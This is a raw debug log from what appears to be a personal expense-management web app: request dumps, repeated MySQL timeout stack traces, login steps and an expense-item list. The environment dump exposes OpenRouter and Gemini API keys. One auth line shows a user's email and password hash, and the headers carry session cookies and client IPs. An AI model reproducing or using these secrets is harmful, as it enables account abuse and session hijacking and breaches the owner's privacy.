    'sec-ch-ua': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '64.227.40.146',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-02T15:30:59.675Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '64.227.40.146',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '64.227.40.146',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-01 17:08:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-01 17:08:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-01 18:34:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-01 18:34:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-01 18:56:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-01 18:56:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-01 21:44:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-01 21:44:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-02 01:04:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-02 01:04:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-02 01:53:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-02 01:53:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-02 07:19:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-02 07:19:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-02 07:38:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-02 07:38:24' as DATETIME)"
}
2026-02-02T08:30:06.268Z server-connect:router Serving templateView /
2026-02-02T08:30:06.270Z server-connect:app Executing action step identify
2026-02-02T08:30:06.270Z server-connect:app options: { provider: 'security' }
2026-02-02T08:30:06.270Z server-connect:auth No login cookie found
2026-02-02T08:30:06.270Z server-connect:output identity: false
2026-02-02T08:30:06.270Z server-connect:app Executing action step restrict
2026-02-02T08:30:06.270Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-02T08:30:06.271Z server-connect:output restrict: undefined
2026-02-02T08:30:06.771Z server-connect:router Serving templateView /
2026-02-02T08:30:06.772Z server-connect:app Executing action step identify
2026-02-02T08:30:06.772Z server-connect:app options: { provider: 'security' }
2026-02-02T08:30:06.772Z server-connect:auth No login cookie found
2026-02-02T08:30:06.772Z server-connect:output identity: false
2026-02-02T08:30:06.772Z server-connect:app Executing action step restrict
2026-02-02T08:30:06.772Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-02T08:30:06.772Z server-connect:output restrict: undefined
2026-02-02T08:36:29.228Z server-connect:router Serving templateView /
2026-02-02T08:36:29.228Z server-connect:app Executing action step identify
2026-02-02T08:36:29.229Z server-connect:app options: { provider: 'security' }
2026-02-02T08:36:29.278Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-02-02T08:36:29.281Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-02T08:36:29.359Z server-connect:output identity: 1
2026-02-02T08:36:29.359Z server-connect:app Executing action step restrict
2026-02-02T08:36:29.359Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-02T08:36:29.360Z server-connect:output restrict: undefined
2026-02-02T08:36:29.360Z server-connect:app Executing action step restrict
2026-02-02T08:36:29.360Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-02T08:36:29.360Z server-connect:output restrict: undefined
2026-02-02T08:36:29.360Z server-connect:router Render template layouts/main
2026-02-02T08:36:29.361Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-03T08:36:29.228Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-02T08:36:48.770Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-02T08:36:48.770Z server-connect:app Executing action step identify
2026-02-02T08:36:48.770Z server-connect:app options: { provider: 'security' }
2026-02-02T08:36:48.770Z server-connect:output identity: 1
2026-02-02T08:36:48.770Z server-connect:app Executing action step restrict
2026-02-02T08:36:48.770Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:36:48.771Z server-connect:output restrict: undefined
2026-02-02T08:36:48.771Z server-connect:app Executing action step select
2026-02-02T08:36:48.771Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-02T08:36:48.776Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
